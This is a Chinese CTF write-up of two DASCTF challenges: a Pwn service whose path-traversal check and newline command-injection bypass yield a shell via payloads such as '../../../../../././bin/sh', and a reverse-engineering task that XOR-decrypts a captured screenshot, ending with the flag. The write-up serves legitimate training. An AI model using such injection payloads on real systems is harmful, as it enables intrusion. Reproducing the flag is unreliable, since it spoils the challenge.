前言 上个周末也是参加了buu的DASCTF的二进制专项赛,只有Pwn和Reverse,做了一天题也就做出来两道hhh题目很难,实属二进制坐牢专项赛。
和余师傅组的队最终是做出来四道题目,排名21 成绩还可以。
我出的分别是逆向的cap和Pwn的Server,做的过程不易故此记录一下。
[Pwn]server 这道题相比Pwn更像是web的命令执行过滤绕过题。
分析 64位程序,PIE保护。IDA打开分析:
main函数是检测用户输入,功能1是验证身份,功能2是添加用户,只有当功能1验证身份成功时才能使用功能2,所以这边我们先跟进功能1查看:
功能1 
unsigned  __int64 sub_141A () {   char  s[32 ];    char  name[56 ];    unsigned  __int64 v3;    v3 = __readfsqword(0x28 u);   puts ("Hello, CTFer." );   puts ("Please input the key of admin : " );   fgets(s, 28 , stdin );   snprintf (name, 0x20 uLL, "/keys/%s.key" , s);   if  ( access(name, 0 ) == -1  )   {     puts ("Sorry, you are not winmt." );   }   else    {     puts ("Hello, winmt." );     dword_404C = 1 ;   }   return  __readfsqword(0x28 u) ^ v3; } 
这里的 snprintf 是赋值的作用,将得到的字符串s带入/keys/%s.key 最后赋值给 name 变量
access的作用是判断一个文件或文件夹是否存在。
所以大致功能就是将用户输入的字符串带入到 /keys/%s.key 中,然后检测这个文件是否存在。
漏洞就出现在s长度和name长度不一致导致的变量覆盖 。这里s数组长度是28,name数组长度为32(0x20),s加上/keys/.key字符总共有 10+28=38的长度,明显大于name长度。
利用这一点,我们可以将name变量尾部的.key给覆盖掉,同时利用 ../实现目录穿越给到一个存在的文件或文件夹。
注意这里构造payload时只能有./,不能构造其它的字符串。 比如/keys/aaaa/../../这种,由于aaaa目录不存在所以会导致access返回结果为false。其实和cd类似,测试的时候可以直接用cd测试一个路径。
还有构造的字符串要记得少一个,因为输入的时候换行符也占一个输入,否则就会绕不过去。
content = "../../../../../././keys"  key = "/keys/%s.key" %content print (key[:32 ])PS C:\Users\test> & D:/Python37/python.exe c:/Users/test/Desktop/try .py /keys/../../../../.././././keys. PS C:\Users\test> 
可以看到成功绕过了第一层。
功能2 
unsigned  __int64 sub_16B5 () {   char  v1[16 ];    char  s[56 ];    unsigned  __int64 v3;    v3 = __readfsqword(0x28 u);   puts ("Hello, winmt." );   puts ("Please input the username to add : " );   if  ( (unsigned  int )sub_14DA(v1) == -1  )   {     puts ("Woc! You're a hacker!" );     dword_404C = 0 ;     exit (-1 );   }   snprintf (s, 0x30 uLL, "add_user -u '%s' -p '888888'" , v1);   system(s);   puts ("Success!" );   return  __readfsqword(0x28 u) ^ v3; } 
同样是输入字符串,将输入的字符串经过 sub_14DA 函数判断后,带入到 add_user -u '%s' -p '888888' 中,然后system执行。
我们跟进 sub_14DA 函数分析:
__int64 __fastcall sub_14DA (__int64 a1)  {   __int64 result;    int  i;    for  ( i = 0 ; i <= 9 ; ++i )   {     read(0 , (void  *)(i + a1), 1uLL );     if  ( *(_BYTE *)(i + a1) == 10  )       return  1LL ;     if  ( *(_BYTE *)(i + a1) == 59        || *(_BYTE *)(i + a1) == 96        || *(_BYTE *)(i + a1) == 38        || *(_BYTE *)(i + a1) == 124        || *(_BYTE *)(i + a1) == 36        || *(_BYTE *)(i + a1) == 40        || *(_BYTE *)(i + a1) == 32        || *(_BYTE *)(i + a1) == 41        || *(_BYTE *)(i + a1) == 123        || *(_BYTE *)(i + a1) == 125        || *(_BYTE *)(i + a1) == 45        || *(_BYTE *)(i + a1) == 47        || *(_BYTE *)(i + a1) == 92  )     {       *(_BYTE *)(i + a1) = 0 ;       return  0xFFFFFFFF LL;     }     if  ( *(_BYTE *)(i + a1) != 115  )     {       result = *(unsigned  __int8 *)(i + a1);       if  ( (_BYTE)result != 104  )         continue ;     }     *(_BYTE *)(i + a1) = 0 ;     return  0xFFFFFFFF LL;   }   return  result; } 
从该函数可以得知,for循环了10次 所以这里输入的字符串长度为10。
同时会对输入的字符串每个字符进行判断,如果字符在程序里的ascii中就会返回false,是一个黑名单过滤,有以下字符:
所以大致思路就是通过输入的字符串绕过 add_user -u '%s' -p '888888'这一段话然后命令执行。
这里单引号没有被过滤,所以输入的字符串可以绕过这个引号。
这里测试绕过最好是gdb调试,这样更加直观:
非预期&思路&Payload 当时调到这里就懵逼了,咋还有个keys?然后发现就是功能1输入的部分,再仔细看代码发现和功能1用的是同一个变量:
snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);
这题算是非预期吧,做完问了下winmt师傅 winmt✌自己都懵了哈哈哈,题目设置的有点bug,这里的变量s和功能1用的是同一个导致了非预期解。
所以思路就打开了,既然这里用的是同一个变量,那么就可以利用起来。
首先当前绕过我们可以用单引号’ 来绕过引号限制,然后想要执行别的命令 已知的逻辑运算符基本都被过滤了,那咋办呢?调试的时候发现了换行符,便想到换行符也可以绕过从而命令执行:
因为功能1和功能2输入的时候都有换行,所以就造成了两条命令的分割:
add_user -u 'aaaa'\n../../keys\n' -p '888888' 
第一个换行符造成了第二条命令的执行,第二个换行符又同时把单引号分割开了 起到了注释 的作用。所以这里我们只需要保证 ../../keys的部分能够命令执行即可。
那么,如果将功能1输入的部分换成/bin/sh不就能拿到shell了吗?同时/bin/sh又是一个文件 符合功能1的条件。
python测试下:
测试可行,那么我们构造下/bin/sh的语句。
../../../../../././bin/sh 
然后去gdb调试,最好打好断点去调试测试,这样很直观就能知道哪里需要填充多少。
这里功能2输入的部分要填充功能1不必要的部分。
很显然可以只输入一个单引号,语句就变成了这样:
add_user -u ''\n/bin/sh\n' -p '888888' 
或者我们把/bin去掉,构造sh:
add_user -u 'aaaaa'\nsh\n' -p '888888' 
二者都可以,带入程序得到shell
Payload1: 1: ../../../../../././bin/sh 2: ' Payload2: 1: ../../../../../././bin/sh 2: aaaaa' 
比赛的时候测试了一个上午做出来的,做完发现第四…差一点三血 比较可惜哈哈。
winmt师傅的Payload winmt✌太强了
winmt师傅预期解是用tab和换行绕过,如果功能1和功能2不是同个变量那这题绕过确实还要花点脑筋的。
学到东西了!
[Reverse]cap 这题看了我好几个小时终于做出来了,太菜了呜呜呜
调试的地狱绘图:
分析 附件给个一个exe程序和bin数据文件。
cap.bin:
re3.exe 64位无壳。
程序大致作用就是对当前屏幕进行捕获,然后将得到的缓冲数据进行加密后,写入到bin数据文件。
主函数:
__int64 __fastcall sub_140001030 (HWND hWnd)  {   HBITMAP v2;    HDC hdcSrc;    HDC v4;    HDC v5;    int  hSrc;    int  wSrc;    HBITMAP v8;    signed  int  v9;    HANDLE v10;    void  *v11;    signed  int  v12;    _BYTE *v13;    int  v14;    int  v15;    void  *lpBuffer;    HGLOBAL hMem;    struct  tagRECT  Rect ;   struct  tagBITMAPINFO  bmi ;   char  v21;    char  v22;    char  v23;    char  v24;    char  v25;    char  v26;    int  v27;    DWORD NumberOfBytesWritten;    char  pv[4 ];    LONG v30;    UINT cLines;    NumberOfBytesWritten = 0 ;   v2 = 0 i64;   hdcSrc = GetDC(0 i64);   v4 = GetDC(hWnd);   v5 = CreateCompatibleDC(v4);   if  ( v5 )   {     GetClientRect(hWnd, &Rect);     SetStretchBltMode(v4, 4 );     hSrc = GetSystemMetrics(1 );     wSrc = GetSystemMetrics(0 );     if  ( StretchBlt(v4, 0 , 0 , Rect.right, Rect.bottom, hdcSrc, 0 , 0 , wSrc, hSrc, 0xCC0020 u) )     {       v8 = CreateCompatibleBitmap(v4, Rect.right - Rect.left, Rect.bottom - Rect.top);       v2 = v8;       if  ( v8 )       {         SelectObject(v5, v8);         if  ( BitBlt(v5, 0 , 0 , Rect.right - Rect.left, Rect.bottom - Rect.top, v4, 0 , 0 , 0xCC0020 u) )         {           GetObjectW(v2, 32 , pv);           bmi.bmiHeader.biWidth = v30;           bmi.bmiHeader.biHeight = cLines;           bmi.bmiHeader.biSize = 40 ;           *(_QWORD *)&bmi.bmiHeader.biPlanes = 2097153 i64;           *(_QWORD *)&bmi.bmiHeader.biSizeImage = 0 i64;           *(_QWORD *)&bmi.bmiHeader.biYPelsPerMeter = 0 i64;           bmi.bmiHeader.biClrImportant = 0 ;           v9 = 4  * cLines * ((32  * v30 + 31 ) / 32 );           hMem = GlobalAlloc(0x42 u, (unsigned  int )v9);           lpBuffer = GlobalLock(hMem);           GetDIBits(v4, v2, 0 , cLines, lpBuffer, &bmi, 0 );           v10 = CreateFileW(L"cap.bin" , 0x40000000 u, 0 , 0 i64, 2u , 0x80 u, 0 i64);           v23 ^= 0x64 u;           v24 ^= 0x61 u;           v11 = v10;           v25 ^= 0x73 u;           v26 ^= 0x63 u;           bmi.bmiHeader.biSize ^= 0x79625F63 u;           bmi.bmiHeader.biWidth ^= 0x7361645F u;           bmi.bmiHeader.biHeight ^= 0x65667463 u;           *(_QWORD *)&bmi.bmiHeader.biPlanes ^= 0x61645F79625F636E ui64;           bmi.bmiColors[0 ].rgbReserved = ((unsigned  __int16)(v9 + 54 ) >> 8 ) ^ 0x62 ;           v21 = ((unsigned  int )(v9 + 54 ) >> 16 ) ^ 0x79 ;           v22 = ((unsigned  int )(v9 + 54 ) >> 24 ) ^ 0x5F ;           v27 = 1852139074 ;           bmi.bmiColors[0 ].rgbGreen = 46 ;           bmi.bmiColors[0 ].rgbBlue = 44 ;           bmi.bmiColors[0 ].rgbRed = (v9 + 54 ) ^ 0x5F ;           v12 = 0 ;           *(_QWORD *)&bmi.bmiHeader.biSizeImage ^= 0x5F636E6566746373 ui64;           *(_QWORD *)&bmi.bmiHeader.biYPelsPerMeter ^= 0x74637361645F7962 ui64;           bmi.bmiHeader.biClrImportant ^= 0x636E6566 u;           if  ( v9 > 0  )           {             v13 = lpBuffer;             do              {               v14 = v12 + 3 ;               v15 = (unsigned  __int64)(1321528399 i64 * (v12 + 3 )) >> 32 ;               ++v12;               *v13++ ^= aEncByDasctf[v14 - 13  * (((unsigned  int )v15 >> 31 ) + (v15 >> 2 ))];             }             while  ( v12 < v9 );           }           WriteFile(v10, bmi.bmiColors, 0xE u, &NumberOfBytesWritten, 0 i64);           WriteFile(v11, &bmi, 0x28 u, &NumberOfBytesWritten, 0 i64);           WriteFile(v11, lpBuffer, v9, &NumberOfBytesWritten, 0 i64);           GlobalUnlock(hMem);           GlobalFree(hMem);           CloseHandle(v11);         }         else          {           MessageBoxW(hWnd, L"BitBlt has failed" , L"Failed" , 0 );         }       }       else        {         MessageBoxW(hWnd, L"CreateCompatibleBitmap Failed" , L"Failed" , 0 );       }     }     else      {       MessageBoxW(hWnd, L"StretchBlt has failed" , L"Failed" , 0 );     }   }   else    {     MessageBoxW(hWnd, L"CreateCompatibleDC has failed" , L"Failed" , 0 );   }   DeleteObject(v2);   DeleteObject(v5);   ReleaseDC(0 i64, hdcSrc);   ReleaseDC(hWnd, v4);   return  0 i64; } 
这题还是要多调试,看变量值才能理解代码。
前面都是创建bmp图像的初始操作,主要的部分:
这里定义了bmp图像的文件头属性,包括宽度、高度、尺寸以及图像的颜色等等。
先不用管这些值具体是多少,理解代码即可。
注意这里创建了 cap.bin 我们继续往下看
bin数据1-14字节 有个明显的 WriteFile 说明bin文件的数据都来自这,那我们分析都写了什么东西就知道bin文件数据的意思了。
WriteFile(v10, bmi.bmiColors, 0xEu, &NumberOfBytesWritten, 0i64); //第一行 
这里是 bmi.bmiColors 说明第一个写入的是bmiColors的信息,写入了 0xE(14) 的数据。
我们看bmicolors的部分:
有直接告诉我们值,这里 Red 和Reverse的值静态调试看不明白,调试一下就知道了 先不管。
所以按照Reverse R G B的顺序逆序写入,hex分析第一和第二字节应该是 0x2c(44) 和  0x2e(46)
第一部分的数据如下:
没错说明我们分析的没错。至于后面的10字节的部分我们可以不管。
bin数据15-54数据 WriteFile(v11, &bmi, 0x28u, &NumberOfBytesWritten, 0i64); //第二行 
第二行是将 &bmi 的部分写入 0x28(40) 的数据,bmi包括上面定义的header文件头信息。
这里我没太看懂数据的含义,所以直接忽略了,因为主要的部分其实是第三部分,所以这里忽略其实问题不大。
第二部分的数据如下:
bin数据55-End数据 WriteFile(v11, lpBuffer, v9, &NumberOfBytesWritten, 0i64); //第三行 
第三行就是最后的数据了。将 lpBuffer 写入 v9 的长度,其实就是图像的大小。
这里是最关键的部分,我们跟进找下 lpBuffer 哪里有引用:
首先是用了 GetDIBits 函数生成了 lpBuffer ,这个函数我在网上找了下相关的文章(资料是真的少)
(https://www.cnblogs.com/GreyWang/p/17123873.html )
很显然这个函数是用来获取图像的数据的,根据它文章的例子能发现GetDIBits的第5个参数就是缓冲区数据,也就是我们这个程序中的 lpBuffer
之后再次调用就是对这个缓冲区数据进行加密了:
IDA编译的有些问题,简化下就是下面的部分:
do {   v14 = v12 + 3 ;   v15 = (1321528399  * v14) >> 32 ;   v12 = v12 + 1 ;   lpBuffer ^= aEncByDasctf[v14 - 13  * ((v15 >> 31 ) + (v15 >> 2 ))]; } while  ( v12 < v9 );
aEncByDasctf -> enc_by_dasctf
一个很简单的加密,由于是异或所以我们解密其实照着写就可以了。
思路 这个 lpBuffer 虽然都说是缓冲区数据,但这个数据到底是什么,我没有在网上的文档找到,所以当时做的时候打算先把这个东西还原出来,然后再去猜测、分析。
最后发现这里的数据就是捕获到的图像的RGB值。
其实前面第一部分和第二部分的16进制数据没搞懂有什么用,到最后也确实没用上hhh
数据还原脚本 这里读取下数据,然后把算法逆向解密一下即可得到lpBuffer的原数据,最后写到新文件里分析。
import  binasciifrom  PIL import  Imagedef  read_data ():	f = open ('cap.bin' ,'rb' ) 	f.read(14 +40 ) 	content = f.read() 	return  content def  decode (data ):	v12 = 0  	string = b'enc_by_dasctf'  	result = [0 ] * len (data) 	for  i in  range (len (data)): 		v14 = v12 + 3  		v15 = (0x4EC4EC4F  * v14)>>32  		result[v12] = hex (string[v14 - 13  * ((v15 >> 31  ) + (v15 >> 2 ))] ^ data[v12])[2 :].zfill(2 ) 		v12 += 1  	return  binascii.unhexlify('' .join(result)) def  encode ():	v12 = 0  	string = b'enc_by_dasctf'  	v13 = [0xda ,0xda ,0xda ] 	for  i in  range (len (v13)): 		v14 = v12 + 3  		v15 = (0x4EC4EC4F  * v14)>>32  		v13[v12] ^= string[v14 - 13  * ((v15 >> 31  ) + (v15 >> 2 ))] 		v12 += 1           	print (v13) 		 data = read_data() content = decode(data) open ('capDecode.bin' ,'wb' ).write(content)
运行得到capDecode.bin:
这个东西其实我是猜测出来的,加上当时看到一道比较类似的题目:
http://1o1o.xyz/CSDN/170926%20%E9%80%86%E5%90%91-Reversing.kr%EF%BC%88ImagePrc%EF%BC%89_%E5%A5%88%E6%B2%99%E5%A4%9C%E5%BD%B1%E7%9A%84%E5%8D%9A%E5%AE%A2.pdf 
直觉告诉我这肯定是RGB值啊,每3个数据一组 很多一样的16进制。
那么就根据猜想继续写脚本,至于图片的长度和宽度可以先设置大一些,然后再慢慢调整。
图像还原脚本 import  binasciifrom  PIL import  Imagedef  read_data ():	f = open ('cap.bin' ,'rb' ) 	f.read(14 +40 ) 	content = f.read() 	return  content def  decode (data ):	v12 = 0  	string = b'enc_by_dasctf'  	result = [0 ] * len (data) 	for  i in  range (len (data)): 		v14 = v12 + 3  		v15 = (0x4EC4EC4F  * v14)>>32  		result[v12] = hex (string[v14 - 13  * ((v15 >> 31  ) + (v15 >> 2 ))] ^ data[v12])[2 :].zfill(2 ) 		v12 += 1  	return  binascii.unhexlify('' .join(result)) def  encode ():	v12 = 0  	string = b'enc_by_dasctf'  	v13 = [0xda ,0xda ,0xda ] 	for  i in  range (len (v13)): 		v14 = v12 + 3  		v15 = (0x4EC4EC4F  * v14)>>32  		v13[v12] ^= string[v14 - 13  * ((v15 >> 31  ) + (v15 >> 2 ))] 		v12 += 1  		print (v13) 		 data = read_data() content = decode(data) '''content = open('capDecode2.bin','rb').read() im = Image.frombytes('RGB', (1280,960), content) im = im.transpose(Image.FLIP_TOP_BOTTOM) im.show() im.save('result.bmp')''' width = 2560 *2  height = 256  img = Image.new('RGB' ,(width,height)) x = 0  y = 0  for  i in  range (0 ,len (content),3 ):	 	try : 		R,G,B = content[i:i+3 ] 		img.putpixel((x,y),(R,G,B)) 	except  Exception as  e: 		print (x,y,e) 		pass  	x += 1  	if  x == width: 		y += 1  		x = 0  img = img.transpose(Image.FLIP_TOP_BOTTOM) img.save('tmp.bmp' ) img.show() 
注意这里bmp要用 img.transpose(Image.FLIP_TOP_BOTTOM) 旋转下,不然图像是逆转的。
同时可以直接用我注释的部分实现还原,省了不少代码 唯一不足就是宽高必须正确填写。
这里图像宽高其实就是1280*960。
因为这里大小为3,686,400 ,除去3就是1228800,即1280*960。
但是宽高我测试过来2560*2 256看的比较清楚
运行得到图像:
能看到flag,但是看不清 这题是真的阴间。。看的我眼睛瞎。
用PS拉伸宽度+提高曝光度下得到一张完美的图像:
这里e 很容易看成c,但是你放大对比下就发现有区别。多试几次得到flag
预期解 其实可以通过调试发现cap.bin每个字节都在与 enc_by_dasctf 异或,且在0~12循环,所以每个字节异或就可以得到原bmp图像。
key = "enc_by_dasctf"  with  open ('cap.bin' , 'rb' ) as  f:    s = bytearray (f.read()) for  i in  range (len (s)):    s[i] ^= ord (key[(i+1 ) % len (key)]) with  open ('flag.bmp' , 'wb' ) as  f:    f.write(s) 
flag DASCTF{3d0bd550-edbe-11ed-b2a3-f1d90bff20c4}
本来想讲下调试的过程的,但其实想了想调试就是为了方便能看懂代码,这个过程文章写起来又太麻烦,所以就不写了,笔者复现最好多调试便于理解。